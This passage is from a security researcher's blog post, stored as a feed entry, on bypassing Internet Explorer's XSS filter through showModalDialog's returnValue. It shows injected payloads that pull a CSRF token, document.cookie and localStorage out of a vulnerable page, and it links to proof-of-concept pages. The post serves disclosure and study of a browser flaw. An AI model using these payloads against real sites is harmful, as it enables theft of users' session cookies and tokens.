href=\"http:\/\/l0.cm\/xssfilter_bypass\/showModalDialog.html\"\u003Ehttp:\/\/l0.cm\/xssfilter_bypass\/showModalDialog.html\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nIf it goes well, you can see token strings in alert when you closed the modal dialog.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nLet's take a look at details. The redirect takes you to:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nhttp:\/\/vulnerabledoma.in\/xss_token?q=\u003Cspan style=\"color: red;\"\u003E\u003Cb\u003E%22%3BreturnValue=form.token.value\/\/\u003C\/b\u003E\u003C\/span\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nThe payload is injected:\n\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;form name=form\u0026gt;\u003Cbr \/\u003E\n\u0026lt;input type=hidden name=token value=f9d150048b\u0026gt;\u003Cbr \/\u003E\n\u0026lt;\/form\u0026gt;\u003Cbr \/\u003E\n\u0026lt;script\u0026gt;var q=\"\u003Cspan style=\"color: red;\"\u003E\u003Cb\u003E\";returnValue=form.token.value\/\/\u003C\/b\u003E\u003C\/span\u003E\"\u0026lt;\/script\u0026gt;\u003C\/blockquote\u003E\nThen, the token is passed into returnValue. Yeah!!\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nNeedless to say, also it works:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\";returnValue=document.cookie\/\/\u003Cbr \/\u003E\n\";returnValue=localStorage.key\/\/\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nI have tried unsuccessfully to access other page's window object through window.opener. Any idea?\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nThat's all. Understood? :)\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nFYI, I have blogged about some XSS filter bypass techniques in the past. (Sorry, Japanese text only)\u003Cbr \/\u003E\nIf you are interested in other bypasses, please read using Google Translate.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/masatokinugawa.l0.cm\/2012\/02\/xss.html\"\u003EブラウザのXSS保護機能をバイパスする(1)\u003C\/a\u003E\u0026nbsp;(2012\/2)\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/masatokinugawa.l0.cm\/2012\/03\/xss2.html\"\u003EブラウザのXSS保護機能をバイパスする(2)\u003C\/a\u003E\u0026nbsp;(2012\/3)\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/masatokinugawa.l0.cm\/2012\/09\/xss3.html\"\u003EブラウザのXSS保護機能をバイパスする(3)\u003C\/a\u003E\u0026nbsp;(2012\/9)\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/masatokinugawa.l0.cm\/2014\/09\/xss4.html\"\u003EブラウザのXSS保護機能をバイパスする(4)\u003C\/a\u003E\u0026nbsp;(2014\/9)\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/masatokinugawa.l0.cm\/2014\/10\/xss5.html\"\u003EブラウザのXSS保護機能をバイパスする(5)\u003C\/a\u003E\u0026nbsp;(2014\/10)\u003Cbr \/\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\nI'm going to continue to write blog in English as far as possible.\u0026nbsp;\u003C\/div\u003E\n\u003Cdiv\u003E\nThank you!\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Cb\u003EUpdate(2015\/6\/17)\u003C\/b\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nI found a way to pass other same-origin page's information via returnValue.\u003Cbr \/\u003E\nAnyway please go to the following page and click the \"go\" button.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/l0.cm\/xssfilter_bypass\/showModalDialog2.html\"\u003Ehttp:\/\/l0.cm\/xssfilter_bypass\/showModalDialog2.html\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nIf it goes well, you can see \"\u0026lt;h1\u0026gt;This is secret Text!\u0026lt;\/h1\u0026gt;\" of \u0026nbsp;other same-origin page's information in alert dialog. In this PoC, we don't need 3xx redirect. It seems that we can set returnValue from x-origin page in iframe which exists in showModalDialog.\u003C\/div\u003E\n"},"link":[{"rel":"replies","type":"application/atom+xml","href":"https:\/\/mksben.l0.cm\/feeds\/2034619179842256453\/comments\/default","title":"Post Comments"},{"rel":"replies","type":"text/html","href":"https:\/\/mksben.l0.cm\/2015\/06\/bypassing-xss-filter-showmodaldialog.html#comment-form","title":"40 Comments"},{"rel":"edit","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/2034619179842256453"},{"rel":"self","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/2034619179842256453"},{"rel":"alternate","type":"text/html","href":"https:\/\/mksben.l0.cm\/2015\/06\/bypassing-xss-filter-showmodaldialog.html","title":"Bypassing IE's XSS Filter with showModalDialog"}],"author":[{"name":{"$t":"Unknown"},"email":{"$t":"noreply@blogger.com"},"gd$image":{"rel":"http://schemas.google.com/g/2005#thumbnail","width":"16","height":"16","src":"https:\/\/img1.blogblog.com\/img\/b16-rounded.gif"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEhf_hMNrbN4KFcgSd_a6bXN7IZnvENeg8m_dq5eV_mZ4d0OzkCWUMZCHPXJD0JELUoZCVH3QfJZTnc6IqVBxWKfaZQZNqL3GueM9dgpmyieuiIolmM5JqHj8eaLOjRCWtWef254TlCOg9A\/s72-c\/smd.png","height":"72","width":"72"},"thr$total":{"$t":"40"}}]}}